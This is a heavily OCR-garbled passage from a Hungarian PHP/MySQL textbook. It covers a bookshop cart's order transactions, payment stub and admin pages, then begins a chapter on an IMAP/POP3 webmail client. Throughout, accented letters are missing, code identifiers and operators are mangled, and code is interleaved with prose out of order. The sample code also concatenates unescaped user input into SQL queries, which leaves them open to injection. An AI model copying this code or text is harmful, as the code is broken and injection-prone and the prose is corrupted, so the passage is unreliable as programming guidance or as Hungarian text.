FROM megrendelesek WHERE AND

'".$vasarloiD."'

asszeg > (".$_SESSION['vegosszeg'] ."-.001) AND asszeg


<

(".$_SESSION['vegosszeg']."+.001) AND AND 'PARTIAL' AND AND AND AND AND

datum = '".$datum."' rendeles_allapota szallitasi nev


=

'".$szallitasi nev."' '".$szallitasi eim."'

szallitasi eim

szallitasi_varos =

"'.$szallitasi_varos."'

szallitasi_allam = '".$szallitasi_allam."' szallitasi_irsz


=

'".$szallitasi_irsz."'

AND

szallitasi_orszag = '".$szallitasi_orszag."'";

$eredmeny

$kapesolat->query($lekerdezes);

if($eredmeny->num_rows>O) $megrendeles = $eredmeny->feteh_objeet(); $rendelesiD else


=

$megrendeles->rendelesiD;

return false;

ll knyvek beszrsa
foreaeh($ SESSION['kosar'] as $isbn => $mennyiseg) $adatok = konyvadatok_lekerese($isbn); $lekerdezes "DELETE FROM rendelesi tetelek WHERE rendelesiO $eredmeny
= =

'".$rendelesiD."'

AND isbn

'".$isbn."'";

$kapesolat->query($lekerdezes);

$lekerdezes = "INSERT INTO rendelesi tetelek VALUES ( '".$rendelesiD."', $eredmeny if '".$isbn."', ".$adatok['ar'].", $mennyiseg) ";

= $kapesolat->query($lekerdezes);

(! $eredmeny)
return false;

442

28. fejezet

ll tranzakci befejezse
$kapcsolat->commit(); $kapcsolat->autocommit(TRUE);

return $rendelesiD;

A rendeles beszurasa () fggvny meglehetsen hossz, merr be kell vinni az adatbzisba a vsrl, a rendels s
_

a megvsrolni kvnt sszes knyv adatait. Lthatjuk, hogy az adatbeilleszts klnbz rszei tranzakcikknt trtnnek meg, amelyek a
$kapcsolat->autocommit(FALSE);

utastssal kezddnek, s a
$kapcsolat->commit(); $kapcsolat->autocommit(TRUE);

utastsokkal rnek vget. Ez az alkalmazs egyetlen olyan pontja, ahol tranzakcikat hasznlunk. Hogyan rjk el, hogy mshol nincs szksg tranz akcikra? Nzzk csak meg az adatbazishoz_kapcsolodas ( ) fggvnyben lv kdot:
function adatbaz1shoz kapcsolodas() $eredmeny if
=

{
'konyv_kosar', 'jelszo', 'konyv_kosar');

new mysqli('localhost',

(! $eredmeny)
return false;

$eredmeny->autocommit(TRUE); return $eredmeny;

A fggvnyben szerepl kd kiss eltr a korbbi fejezetekben hasznltaktL A MySQL-hez val kapcsolds ltrehozsa utn ki kell kapcsalni az autocomrnit mdot. Ahogy ez korbban mr szba kerlt, ez biztostja azt, hogy rninden egyes SQL utasts automatikusan vglegess vljk. Arnikor tbb utastsbl ll tranzakcit kvnunk hasznlni, kikapcsoljuk az autocommit m dot, vgrehajtjuk az adatbeillesztsek sort, vglegestjk az adatokat, majd visszakapcsoljuk az autocommit mdot. Ezt kveten az albbi kdsorral kiszmoljuk a vsrl ltal megadott cm esetn fizetend szlltsi kltsget, s tudatjuk vele:
szallitas_megjelenitese(szallitasi koltseg_szamitasa());

A szallitasi_koltseg_szarnitasa() fggvnyben hasznlt kd minden esetben 20 dollr szlltsi kltsggel sz mol. Ha valdi online zletet nyitunk, ki kell vlasztanunk a szllts mdjt, meg kell hatrozni a klnbz cmekhez tarto z szllrsi kltsget, s ennek megfelelen kell a szlltsi djat kiszrnitani. Ezt kveten a kimeneti_fuggvenyek. php knyvtr kartya_ urlap_ megjelenitese() fggvnye segtsgvel megjelentjk a felhasznl szmra azt az rlapot, ahol a hirelkrryjta vonatkoz adatokat megadhatja.

A fizets feldolgozsa
Amikor a felhasznl a.,Vsrls" gombra kattint, a feldolgoz as. php kd segtsgvel feldolgozzuk fizetsi adatait. A 28.10 brn egy sikeresen vgbement fizers eredmnyt lthatjuk.

28.10 bra: A tranzakci sikeres volt, a megrendelt tteleket szlltani fogjuk.

Kosr funkci programozsa

443

A feldolgozas.php kcljc a 28.16 pldakd mutatja. 28.16 pldakd: feldolgozas.php-A


<?php include ('konyv_kosar_fuggvenyek.php');

kd feldolgozza a vsrl fizetsi adatait, majd k.zli vele a folyamat eredmnyt

28

ll A kosrfunkcikhoz munkamenetekre van szksg,


session start(); html fejlec_letrehozasa('Pnztr'); $kartya tipusa $kartya_szama $kartya_honap $kartya_ev $kartya_nev
= =

ezrt indtsunk egyet!

$ POST['kartya tpusa'); $_POST['kartya_szama'); $_POST['kartya_honap');

$_POST['kartya_ev');
=

$_POST['kartya_nev']; ($kartya tpusa)


&&

if(($ SESSION['kosar')) ($kartya honap)


&&

&&

&&

($kartya szama)

&&

($kartya_ev)

($kartya_nev)) false,

{
s kpek nlkl

ll kosr megjelentse,

vltoztatsok engedlyezse,

kosar_megjelenitese($ SESSION['kosar'),

0);

szallitas_megjelenitese(szallitasi_koltseg_szamitasa()); if(kartya feldolgozasa($_POST)) //kosr kirtse session_destroy(); echo "<p>Ksznjk, else echo "<p>Nem tudtuk feldolgozni bankkrtyjt. Krjk, a krtya kibocstjval, gomb_megjelenitese("vasarlas.php", else echo "<p>Nem tlttte ki az sszes mez6t, gomb_megjelenitese("vasarlas.php", krjk, prblja meg jra!</p><hr />"; "vissza", "Vissza"); "vissza", "Vissza"); lpjen kapcsolatba s prblkezzon jra!</p>"; hogy nlunk vsrolt. Megrendelst rgztettk.</p>"; "vasarlas-folytatasa", "Vsrls folytatsa"); gomb_megjelenitese("index.php",

html lablec letrehozasa(); ?>

Feldolgozzuk a felhasznl bankkrtyjnak adatait, majd trljk a munkamenett.


A bankkrtyt feldolgoz fggvny az itt megrt formjban egyszeren true rckkel tr vissza. Ha tnylegesen megval

stannk a fizetse, akkor elszr ellenriznnk kellene a krtya lejrati dtumt, illetve a megadott krtyaszm formcumt, ezt kveten pedig tnylegesen fel kellene dolgoznunk a fizetst. Mkd weboldal fejlesztse esecn el kell dntennk, milyen elszmolsi mechanizmust kvnunk hasznlni. A kvetkez lehetsgek kzl vlaszthacunk: Tranzakcik elszmolsval foglalkoz szolgltatval szerzdnk. Itt szmos alternatva kzl vlaszthacunk attl fg gen, hogy hol mkdik a vllalkozsunk. Egyes szolglcatk vals idej elszmolst knlnak, msok nem. A vals idej elszmols szksgessge attl fgg, hogy mit szerecnnk online rtkesteni. Ha online szolgltatsokac knlunk, akkor minden bizonnyal ignyt fogunk r tartani; ha csak termkeket szlltunk ki, akkor a vals idej elszmols kevsb fon tos szmunkra. A szolgltack mindkt esetben megkmlnek a hitelkrtyaadatok trolsnak felelssgtl.

444

28. fejezet

Titkostott e-mailben elkldjk magunknak a vsrlk hitelkrtyjnak adatait. A titkosrst a 18. fejezetben megismert Pretty Good Privacy (PGP) vagy Gnu Privacy Guard (GPG) mdszerrel valsthatjuk meg. Ha megkaptuk s visszafej

28

tettk az e-mailt, sajt kezleg feldolgozzuk a tranzakcikat. Adatbzisban troljuk a hitelkrtyaadatokat. Ezt a lehetsget csak akkor szabad mrlegelni, ha nagyon, tnyleg nagyon meg vagyunk gyzdve rendszernk biztonsgrL A 18. fejezetben bvebben kifejtetrk, mirt nem igazn j det az ilyen bizalmas adatok adatbzisban trolsa. Ezzel vgre rtnk a kosr s a fizetsi modulok ttekintsnek. Itt rdemes megemltennk, hogy a magyarorszgi gyakorlatban nincs olyan fellet, amellyel egy webruhzmotor kzvet lenl csatlakozni tudna valamely bankhoz, s tranzakcikat hajthatna vgre. Itthon az online bankkrtys fizets leginkbb a PayPal.express chekout" fizetsi metdushoz hasonl, s alapveterr a kvetkez lpsekbl llhat:
l.

A webruhz pnztrbl a fizetsi gomb hatsra tirnytjuk a felhasznlt a webruhz zemeltetjvel szer zdte bank egy specilis oldalra (pl.: ha a SuperBankkal krnk szerzdst, akkor a https://onlinechecking. superbank.hu oldalra kldjk a vsrlt), legtbbszr cmsorban tadva a vsrls paramtereit (vsrolt termkek, sszegek, vgsszeg stb.).

2. 3. 4. 5. 6.

A vsrl a SuperBank oldaln megadja bankkrtyaadatait, ezzel belp egy felletre. Ezen a felleten megjelenik a webruhzunk ltal radott fizetnival sszege (esetleg ttelesen a majdani szmla minden sora), illetve a "Fizets" gomb. Amikor a vsrl jvhagyja a fizetst, a SuperBank visszadobja a vsrlt a webruhzunk oldalra. Itt mr nincs ms dolgunk, mint a visszarkez vsrl fizetsrl szl tranzakcis kddal a httrben lekrdez nnk a SuperBankot a tranzakci sikeressgrL A vlasz ismeretben eldnthetjk, hogy mi legyen a kvetkez lps: Hibt adunk, mert a vsrl Mgsem" gombot nyomott a SuperBank oldaln. " Hibt adunk, mert a vsrlsra nincs fedezet. Visszaigazol zenetet runk a vsrls sikeressgrL

Az adminisztrcis fellet megvalstsa


Nagyon egyszer adminisztrcis felletet alakitotrunk ki az oldalhoz. Ltrehozrunk az adatbzishoz egy webes, a felhasznli hitelesrst is magban foglal csatolfelletet. A fellet nagyrszt a 27. fejezetben ltrehozott kdot hasznlja. A teljessg ked vrt itt is kzljk, de ezttal nem megynk bele a rszletekbe. Az adminisztrcis fellet hasznlathoz a felhasznlnak be kell jelentkeznie a bej e l entke z es. php fjlon keresztl. Ez a kd az adnlin. php nev adminisztrcis menbe viszi a felhasznlt. A bejelentkezsi felletet a 28.11 brn lthatjuk. (A rvidsg kedvrt ebben a fejezetben nem mutatjuk meg a bej e lentkezes. php fjl tartalmr, mivel m:ydnem teljesen megegyezik a 27. fejezetben hasznlt kddal. Ha szetetnnk megnzni, a www.perfactkiado.hu/mellekletek oldalrl letlthet mellkletben megtalljuk.) Az adminisztrcis ment a 28.12 brn lthatjuk.

28.11 bra: A Jelhasznlk a bejelentkezsi fellet mgtt rik el a rendszergazdai funkcikat.

Kosr funkci programozsa

445

28
55:..

28.12 bra: Az adminisztrcis menben a rendszergazda i f unkcikhoz f rnk hozz.

Az adminisztrcis men kdjt a 28.17 pldakd tartalmazza.


28.17 pldakd: adrrlin.php -A rendszergazdt hitelest s szmra az adminisztratv funkcikat elrhetv tev kd
<?php ll az alkalmazs fggvnyfjljainak beillesztse require_once('konyv_kosar_fuggvenyek.php'); session_start();

if (($_POST['felhasznaloi_nev'])

&&

($_POST['jlsz']))

ll pp az imnt prbltak meg bejelentkezni $felhasznaloi_nev $jlsz


=

$_POST['felhasznaloi_nev'];

$_POST['jlsz']; $jlsz)) jegyezzk fel a felhasznli nevet'

if (bejelentkezes($felhasznaloi_nev, ll ha benne vannak az adatbzisban, $ SESSION['admin_felhasznalo'] else ll sikertelen bejelentkezs html_fejlec_letrehozasa("Hiba:");


=

$felhasznaloi nev;

echo "<p>Nem sikerlt belptetni.<brl> Az oldal megtekintshez be kell jelentkezni.<lp>"; html_url_letrehozasa('bejelentkezes.php', html_lablec_letrehozasa(); exit; 'Bejelentkezs');

html_fejlec_letrehozasa("Adminisztrci"); if (admin_felhasznalo_ellenorzese()) admin_menu_megjelenitese(); else echo "<p>Nincs jogosultsga belpni az adminisztrcis felletre.<lp>"; html_lablec_letrehozasa(); ?>

446

28. fejezet

A kd minden bizonnyal ismersnek hat, hiszen a 27. fejezet egyik kdjhoz igen hasonl. Belps utn a felhasznl meg vltoztathatja jelszavt, vagy kijelentkezhet; az ezeket a funkcikat megvalst kd teljes egszben megegyezik a 27. fejezet

28

ben hasznlttal, gy itt most eltekintnk a megjelentstL Bejelentkezse utn az admin_felhasznala munkamenet-vltoz s az admin_felhasznala _ellenorzese () fggvny segtsgvel azonostjuk a rendszergazdai felhasznlt. Ezt s az adminisztrcis kdok ltal hasznlt tbbi fggvnyt az admin_fuggvenyek. php fggvnyknyvtr tartalmazza. Ha a felhasznl gy dnt, hogy j kategrit vagy knyvet tlt fel, akkor a kategoria_beszurasa_urlap.php, illetve a konyv_beszurasa_urlap.php kdot veszi ignybe ehhez. Mindkett egy kitltend rlapot jelent meg a rendszergazda szmra. Az rlapot a tartalmnak megfelel kd (kategoria_beszurasa.php vagy konyv_beszurasa.p hp) dolgozza fel, amely elszr ellenrzi, hogy az rlap ki lett-e tltve, majd beszrja az adatbzisba az j adatokat. A kt kdpr kzl csak a knyvek beszrst vgzk tartalmt tekintjk t, mert a msik kt kd ezekkel teljes mrtkben egyez mdon mkdik. A konyv_beszurasa_urlap.php kd ltal ltrehozott rlapot a 28.13 bra mutatja.

Knyv hOuadsa

=-;
Kol_..

r-..,--

-:----=--=-=)_- --- ------------.


lt:;.u.-toozz-1

-- - - ----- ----

'

28.13 bra: A rendszergazda ezzel az rlappal vihet fel j knyveket az online katalgusba.

Figyeljk meg, hogy a knyvek Kategria mezje egy HTML SELECT elem! A legrdl menbl vlaszthat lehets gek a korbban mr megvizsglt kategoriak_lekerese () fggvny hvsbl kvetkeznek. Amikor a felhasznl a"Knyv felvitele" gombra kattint, a konyv_beszurasa.php fjlt hvja meg. Ennek tartalmt a 28.18 pldakd mutatja.
28.18 pldakd: konyv_beszurasa.php-A kd ellenrzi az j knyv adatait, majd beszrja azokat az adatbzisba
<?php

ll az alkalmazs fggvnyfjljainak beillesztse


require_onee('konyv_kosar_fuggvenyek.php'); session start(); html fejlee letrehozasa("Konyv felvitele"); if (admin_felhasznalo_ellenorzese()) if (kitoltott($ POST)) $isbn =$ POST['isbn']; $eim =$ POST['eim']; $szerzo =$_POST['szerzo']; $kategoriaiD =$ POST['kategor1aiD']; $kosar =$ POST['ar']; $leiras =$ POST['leiras']; if(konyv_beszurasa($isbn, $eim, $szerzo, $kategoriaiD, $kosar, $leiras))

eeho "<p>A(z) <em>".stripslashes($eim)."</em> knyvet hozzadtuk az adatbzishoz.</p>"; else eeho "<p>A(z) <em>".stripslashes($eim)."</em> knyvet nem sikerlt hozzadni

Kosr funkci programozsa

447

az adatbzishoz.</p>";

else echo "<p>Nem tlttte ki az rlapot. Krjk, prblja meg 6jra!</p>";

28

html_url letrehozasa("admin.php", else

"V1ssza az Admin menhz");

echo "<p>Nincs jogosultsga megtekinteni azt az oldalt.</p>";

html lablec_letrehozasa();

?>

A 28.18 pldakdbl lthat, hogy a kd meghvja a konyv_beszurasa () fggvnyt. Ezt s az adminisztrcis kdok ltal hasznlt tbbi fggvnyt az admin_ fuggvenyek.ph p fggvnyknyvtrban talljuk. Az j kategrik s knyvek felvitele mellett a rendszergazdk szerkeszthetik s trlhetik is azokat. Ezeket a funkcikat gy valstottuk meg. hogy minl tbbet fel tudjunk hasznlni a meglv kdokbl. Amikor a rendszergazda az adminiszt rcis men.,Ugrs a nyitoldalra" hivatkozsra kattint, az index. php oldalon lv kategrialisthoz jut, s az ltalnos felhasznlkkal egyez mdon, ugyanazokat a kdokat hasznlva naviglhat az oldalon. Egy fontos klnbsget azonban meg kell emlteni az egyszerU s a rendszergazdai felhasznJk kztt: az urbbiaknak ms funkcikat tesznk elrhetv. A rendszergazdkat az alapjn ismerjk fel, hogy szmukra az admin_felhasznala munka menet-vltozt regiszttltuk. Ha megnzzk pldul a fejezet egy korbbi rszben megvizsglt konyv_megjelenitese. php oldalt, akkor a 28.14 brn lthatktl klnbz menpontokat ltunk.

28.14 bra: A konyv_megjelenitese.php kd msmilyen kimenetet llt el a rendszergazdk szmra. " Rendszergazdaknt kt j gombot ltunk az oldalon:"Ttel szerkesztse s "Admin men': Vegyk szre, hogy a jobb fels sarokban nem jelenik meg a kosr, helyette a Kijelentkezs" gombot lthatjuk ott! " Ennek az oldalnak a kdja, amit mg a 28.8 pldakdban lthattunk, a kvetkezkppen nz ki:
if(admin_felhasznalo_ellenorzese())

{
"tetel-szerkesztese",

gomb_megjelenitese("konyv szerkesztese_urlap.php?isbn=".$isbn, "Ttel szerkesztse"); gomb_megjelenitese("admin.php", gomb_megjelenitese($cel, "admin-menu", "Admin men");

"folytatas",

"Folytats");

Ha jra megnzzk a kategoria_megjelenitese.ph p kdot, ott is lthag uk ezeket a funkcikat. Amikor a rendszergazda a,;ftel szerkesztse" gombra kattint, a konyv_szerkesztese_urlap.php kdot hvja meg. A kd kimenett a 28.15 brn lthag uk.

448

28. fejezet

28

28.15 bra: A konyv_szerkesztese_urlap.php kd lehetsget ad a rendszergazdknak a knyv adatainak szerkesztsre s a knyv trlsre.

Az rlap els fele megegyezik azzal, amivel korbban a knyvek adatait felvittk. Abba az rlapba beptettnk egy olyan opcit, ami a meglv knyvadatokat tadhatja az rlapnak mindez pontosan mit jelent.
28.19 pldakd: Az a dmin_fuggvenyek. php knyvtr konyv_urlap_megjeleni tese () szerkesztshez is hasznlhat, ketts cl rlap
function konyv_urlap_megjelenitese($konyv '')
az

rlap szvegmeziben val megjelents cljbl. Ugyanezt

a vltoztatst hajtottuk vgre a kategrik szerkesztsre s trlsre szolgl rlapon is. A 28.19 pldakdban lthatjuk, hogy

fggvnye- A felvitelhez s

ll A knyv rlapot jelenti meg. ll Nagyon hasonl a kategria rlaphoz. ll Az rlapot knyvek felvitelre s szerkesztsre lehet hasznlni. ll Felvitelhez nem adunk t paramtert. Ez false-ra lltja a $szerkesztes ll rtkt,
az rlap pedig a konyv_beszurasa.php oldalt hvja meg. Az rlap

ll Szerkesztshez egy knyvet tartalmaz tmbt adunk t. ll a rgi adatokkal fog megJelenni, ll Egy "Knyv trlse" gombot is megjelent.

s a konyv szerkesztese.php oldalra mutat.

ll ha meglv6 knyvet adunk t neki,


$szerkesztes = is_array($konyv);

"szerkesztsi mdban" folytatja

ll az rlap nagy rsze egyszer ll nmi


?> <form method="post" action="<?php echo
PHP kddal kiegsztve

HTML

$szerkesztes ?

'konyv_szerkesztese.php'

'konyv_beszurasa.php';?>"> <table border="O"> <tr> <td>ISBN:</td> <td><input type="text" name="isbn" value="<?php echo $szerkesztes ? $konyv ['isbn' l </tr> <tr> <td>Knyvcm:</td> <td><input type="text" name="cim" value="<?php echo </tr> <tr> $szerkesztes ? $konyv ['eim' l ?>" /></td> ''; ?>" /></td>

Kosr funkci programosa

449

<td>Szerz:</td> <td><input type="text" name="szerzo" value="<?php echo $szerkesztes ? $konyv['szerzo' l </tr> <tr> <td>Kategria:</td> <td><select name="kategoriaiD"> <?php ll a szba jhet kategrik listja az adatbzisbl szrmazik $kat tomb=kategoriak_lekerese(); foreach ($kat_tomb as $ez_a_kat) echo "<option value=\"".$ez_a_kat['kategoriaiD'] ."\""; ll ha meglv knyv, if (($szerkesztes) tegye az aktulis kategriba! ($ez_a_kat['kategoriaiD'] == $konyv['kategoriaiD'])) ?>" /><ltd>

28

&&

echo ' kivlasztva''; ' echo ">".$ez a kat['kategoria neve'] ."</option>"; ?> </select> <ltd> </tr> <tr> <td>r:</td> <td><input type="text" name="ar" value="<?php echo $szerkesztes ? $konyv['ar'] </tr> <tr> <td>Lers:</td> <td><textarea rows="3" cols="50" name="leiras"><?php echo $szerkesztes ? $konyv['leiras' l </tr> <tr> <td <?php if <?php if ($szerkesztes) ll ha az isbn kdot mdostjuk, ll szksgnk van a rgire, hogy megtalljuk a knyvet az adatbzisban echo "<input type=\"hidden\" name=\"elozo isbn\" value=\"".$konyv['isbn']."\" />"; ?> <input type="submit" value="<?php echo $szerkesztes ? 'Knyv szerkesztse' hozzadsa'; </form></td> <?php if ($szerkesztes) echo "<td> <form method=\"post\" action=\"konyv_torlese.php\"> <input type=\"hidden\" name=\"isbn\" value=\"".$konyv['isbn'] ."\" /> <input type=\"submit\" value=\"Knyv trlse\"/> </form></td>"; ?> Knyv" /> 'j Knyv : ' '; ?></textarea></td> ''. ?>" /><ltd>
'

(! $szerkesztes) { echo "colspan=2";

} ?> align="center">

450

28.fezer

?> </td>

28

</tr> </table> </form> <?php

Ha az rlapnak knyvadarokat tartalmaz rmbr adunk r, szerkeszrsi mdban, az rlapmezkben a meglv adarokkal jelenik meg:
<input type=''text'' name=''ar'' $sz erkesztes ? $konyv ['ar' valu e="<?php echo

' ';

?>" / ><

A klds gomb is kicsir msmilyen. Sr, a szerkeszrsre alkalmas rlapon egszen pontosan kr gombot lthatunk: az egyik a knyv szerkeszrsre, a msik pedig a trlsre szolgl. Ezek a gombok a konyv
torlese. php
_

sz erkesztese. php, illerve

a konyv

kdot hvjk meg, amelyek a krr mvelernek megfelelen frisstik az adarbzisr.

A fenti kr kd kategrikat kezel vlrozarai egyeden dolog kivrelvel ugyangy mkdnek. Amikor a rendszergazda meg prbl trlni egy karegrir, ez csak akkor sikerl, ha egyeden knyv sincsen benne. (Ezr egy lekrdezssei ellenrzi a kd.) Ezzel megelzhetjk a rrlsi anomlik okozta esetleges problmkat. Az ilyen anomlikrl a Webes adatbzis megtervezse cm 8. fejezerben eserr sz. Ennl a konkrt pldnl maradva: ha olyan kategrit trlnnk, amely knyveket tartalmaz, azok a knyvek.,rvv" vlnnak. Nem tudnnk, hogy milyen kategriba tartoznak, s nem tudnnk hozzjuk naviglni. Ezzel befejeztk az adminisztrcis fellet rrekinrst.Tovbbi rszierekn vizsglgassuk a kdor, amir reljes egszben megtallunk a lerlrher mellklerekben!

A projekt tovbbfejlesztse
Ha vgigkverrk a projekrer, egy viszonylag egyszer kosr funkcir knl rendszerr hozharrunk lrre. Az gy kaporr alkal mazst sokflekppen bvthetjk s rovbbfejleszrherjk: Egy valdi online boltban mindenkppen szksg van a megrendelseket s a teljestseker nyomon kver rendszerre. Jelenleg egyltaln nem ltjuk, hogy milyen megrendelseket kaptunk. A vsrlk ignylik, hogy tudjanak megrendelsk llapotrl- lehetleg gy, hogy ehhez ne kelljen kapcsolatba lpni az eladval. Fonros, hogy a vsrlk bejelentkezs nlkl is bngszhessk az oldalon rulr rermkeker. A meglv vsrlk hirelesrse ugyanakkor lehetsger ad arra, hogy bejelentkezs urn megtekintsk korbbi rendelseiker, mi pedig ko rbbi vsrlsi szoksaik alapjn klnbz gyflprofi.lokar dolgozharunk ki. Jelenleg FTP-n keresztl kell feltirennk a knyvek kpeit az azokar trol mappba, illerve el kell neveznnk a kp fjlokar. A folyamarot azzal leher egyszersteni, ha fjlfelrlr funkcival egsztjk ki a knyvek felvirelre szolgl oldalt. Az alkalmazst- sok egyb mellerr- felhasznli bejelenrkezssel, a bejelentkezerr felhasznJk szmra szemlyre sza borr rarralom s knyvajnJk megjelenrsvel, online rckelsekkel s a raktrkszlet nyilvnrarrsval fejleszthernnk rovbb. A lehetsgek szma szinre korlrlan.

Meglv rendszer hasznlata


Amennyiben gyorsan szerernnk jl mkd rendszerr zembe helyezni, vegyk ignybe valamelyik meglv kosrmegoldsr! Az egyik jl ismert, nylr forrskd s PHP-ben megvalstort kosrrendszer a hrrp:/ /www.fi.shcarr.org/ oldalrl elrhet FishCarrSQL. A rbb nyelven hasznlhat rendszer egyebek kzrr olyan fejlerr funkcikar knl, minr a vsrlkvers, az idzterr akcik lehetsge, a hirelkrrya-feldolgozs s az egy kiszolgln fur rbb online bolr tmogarsnak lehetsge. Meglv rendszer ignybe vrelekor termszetesen mindig fennll annak eslye, hogy pour a szmunkra fonros funkcik hinyoznak. A nylr forrskd megoldsok egyik elnye viszont ppen az, hogy rerszs szerinr mdosrharjuk a neknk nem rersz vagy nem meg felel dolgokat.

Hogyan tovbb:
A kvetkez fejezerben azr fogjuk megtanulni, hogyan fejlessznk olyan webes kezelfellerer, amivel az !MAP protokoll se gtsgve! az internerrl kldhernk s fogadharunk e-maileker.

29
Webalap levelezszolgltats ltrehozsa
Napjainkban egyre tbb oldal knl felhasznlinak webalap e-mail szolgltatst. Az elttnk ll fejezetbl kiderl, hogyan tudunk a PHP IMAP knyvtrnak segtsgvel webes kezelfelletet fejleszteni meglv levelezkiszolglhoz. A szolgl tats alkalmas arra, hogy weboldalon keresztl elrhet legyen meglv postafik, st, egyszer akr olyan tmeges webalap levelezalkalmazss fejleszthetjk, mint a rengeteg felhasznlt tmogaeni kpes GMaii, Yahoo! Maii vagy Hotmail. A projektben a Warm Mai! nev e-mail klienst fogjuk ltrehozni, amely lehetv teszi a felhasznlknak, hogy: Kapcsoldjanak POP3 vagyIMAP levelezszerverkn lv postafikjukhoz Olvassk leveleiket Levelet kldjenek Vlaszoljanak berkezett zeneteikre Tovbbtsk berkezert zeneteiket Trljk a postafikjukban lev zeneteiket

A megolds alkotelemei
Ahhoz, hogy a felhasznl olvasni tudja leveleit, valamilyen mdszerrel kapcsoldnia kell a levelezszerverhez. Ez jellemzen nem ugyanaz a gp, mint a webszervernk. Meg kell tallni a mdjt, hogy kapcsolatba lpjnk a felhasznl postafikjval, mert enlkl nem ltjuk a berkezett zeneteit, s nem tudunk az egyes levelekkel egyenknt foglalkozni.

Levelezprotokollok: a POP3 s az IMAP sszehasonltsa


A levelezszerverek ltal tmogatott, a felhasznli postafikok olvassra szolgl kt legelterjedtebb protokoll a Post Office Protocol version 3 (POP3) s az Internet Message Access Protocol (!MAP). Ha megoldhat, alkalmazsunknak mind a kt protokollt tmogatnia kellene. A kett kzrt a f klnbsg abban ll, hogy a POP3 elssorban olyan felhasznlknak j, s ennek megfelelen jellem zen olyanok hasznljk, akik csak rvid ideig csatlakoznak a hlzathoz, hogy leveleiket a kiszolglrl letltsk, trljk. Az IMAP online hasznlatra kialaktott protokoll, amely leginkbb az llandan a tvoli kszolgln tartott levelek kezelsre alkalmas. Az !MAP olyan magasabb szint funkcikkal is rendelkezik, arniket nem fogunk jelen projektnkben kihasznlni. Ha szeretnnk a kt protokoll kztti klnbsgekrl bvebben tjkozdni, olvassuk el az RFC dokumentumukat (RFC 1939 a POP version 3-hoz, illetve RFC 3 501 az IMAP version 4 rev l verzijhoz)! A kt protokollt sszehasonlt kivl cikket tallunk a http:/ /www.imap.org/papers/imap.vs.pop.brief.html oldalon. Egyik protokoll sem levlkldsre szolgl; erre a clra a Simple Mai! Transfer Protocol (SMTP) alkalmas, amit mr korb ban is hasznltunk a PHP mai l ( ) fggvnyveL Ezt a protokollt az RFC 821 dokumentum rja le.

POP3 s IMAP tmogatsa PHPben


A PHP magas szinten tmogatja az IMAP s a POP3 protokollt, mindkettt azIMAP fggvnyknyvtr ltal. A fejezetben bemutatand kd hasznlathoz teleptennk kell az IMAP knyvtrat. A phpinfo ( ) fggvny kimenetbl megllapthat juk, hogy rendszernkn teleptve van-e mr a knyvtr. Ha Linuxot vagy Unixot hasznlunk, s nincsen teleptve az IMAP knyvtr, le kell tltennk az ehhez szksges knyv trakat. FTP-n keresztl az albbi cmrl szerezhetjk be a legjabb verzit: ftp:/ /ftp.cac.washington.edu/imap/. Ha Unixot

452

29. fejezet

futtatunk, tltsk le a forrst, s fordtsuk le opercis rendszernknek! Ezt kveten hozzunk ltre egy knyvrrat az IMAP fjloknak rendszernk include (beillesztett fjlokat tartalmaz) knyvrrn bell, s adjuk neki mondjuk az imap nevet! elg. ha egyszeren csak bemsoljuk a fJlokat az alap include knyvtrba, mert
ez

(Nem

ksbb tkzseket okozhat.) Hozzunk

ltre az j knyvtrban kt alknyvtrat, aminek imap/ lib/ s imap/ incluctel legyen a neve! Msoljuk be a teleptsbl az sszes*. h fjlt az imap/include/ knyvtrba! Ha vgrehajtjuk a fordtst, egy c-client.a jn ltre. Nevezzk t ezt libc-client. a -ra, s msoljuk be az imap/lib/ knyvtrba! Ekkor futtassuk a PHP konfigurl szkriptjt, amelyhez a tbbi, ltalunk hasznlt paramter mellett a --with
imap=dirname direktvt is hozza kell adnunk (a dirname helyre az ltalunk ltrehozott knyvtr nevt kell bernunk),

29

majd fordtsuk jra a PHP-t! Az IMAP kiterjeszts W indows alatti hasznlathoz nyissuk meg a php. ini fjlt, s vegyk ki a megjegyzs jeit az alb bi sor ell (vagyis mostantl ne megjegyzs legyen):
extension=php_imap.dll

Ezt kveten indtsuk jra a webszervert! Azt, hogy az IMAP kirerjeszts teleptve van-e, a phpinfo ( ) fggvny futtats val llapthatjuk meg. Kimenerben lmunk kell az IMAP-pel foglalkoz rszr. Egy rdekessgre rdemes felhvnunk a figyelmet: noha IMAP fggvnyeknek nevezzk ket, egyformn jl mkdnek a POP3-mal s a Nerwork News Transfer Protocollal (NNTP) is. Pldnkban az IMAP-hoz s a POP3-hoz fogjuk hasznlni ket, de a Warm Maii alkalmazst egyszeren rovbbfejleszthetnnk, hogy NNTP-t hasznlva ne csak levelezkliens, hanem hrolvas (newsreader) is legyen. A knyvtr szmos fggvnyt tartalmaz, de az alkalmazs mkdshez csak nhnyat fogunk kzlk hasznlni. Hasz nlatukkor bemutatjuk ezeket a fggvnyeket, de j, ha tudjuk, hogy a knyvtr szmos tovbbi fggvnyt knl. Ha ettl a projekttl eltr ignyeink vannak, vagy tovbbi funkcikkal szecernnk gazdagtani az alkalmazst, lapozzunk bele btran a knyvtr dokumentcijba l Viszonylag jl hasznlhat levelezalkalmazst lehet fejleszteni mr akkor is, ha a beptett fggvnyeknek csak egy tred kvel dolgozunk. Ez egyttal azt is jelenti, hogy a dokumentcinak csak egy rszn kell trgnunk magunkat. Ebben a fejezet ben a kvetkez IMAP fggvnyeket fogjuk hasznlni:
imap_open () imap_ elose() imap_headers() imap_header() imap_fetchheader() imap_body() imap_delete() imap_expunge()

Ahhoz, hogy a felhasznl olvasni tudja leveleit, szksgnk van kszolgljnak s postafikjnak az adataira. Hogy ne kelljen ezeket minden egyes alkalommal megkrdezni, felhasznli nevet s jelszr lltunk be a felhasznlknak, hogy adatb zisban trolhassuk adataikat. Az emberek gyakran egynl tbb postafikkal rendelkeznek (pldul egy otthonival s egy munkahelyivel), ezrt lehetv kell tenni szmukra, hogy brmelyikhez hozzfrjenek. Ehhez az szksges, hogy az adatbzis egy felhasznlhoz tbb postafi k adatt is el tudja trolni. A felhasznJk szeremk elolvasni meglv leveleiket, vlaszolni rjuk, tovbbtani vagy trlni ket, illetve minden bizony nyal kldeni is kvnnak j zeneteket. Az olvasssal kapcsolatos funkcikat az IMAP vagy a POP3 protokollal, a kldst pedig a SMTP mail () fggvnyvel tudjuk megvalstani. Most pedig vizsgljuk meg. hogy lehet sszerakni ezeket a rszeket!

A megolds ttekintse
Webalap rendszernk ltalnos folyamarbrja nem sokkal klnbzik ms e-mail kliensektL A 29.1 brn a rendszer m kdst s moduljait bemutat folyamatbra lthat.

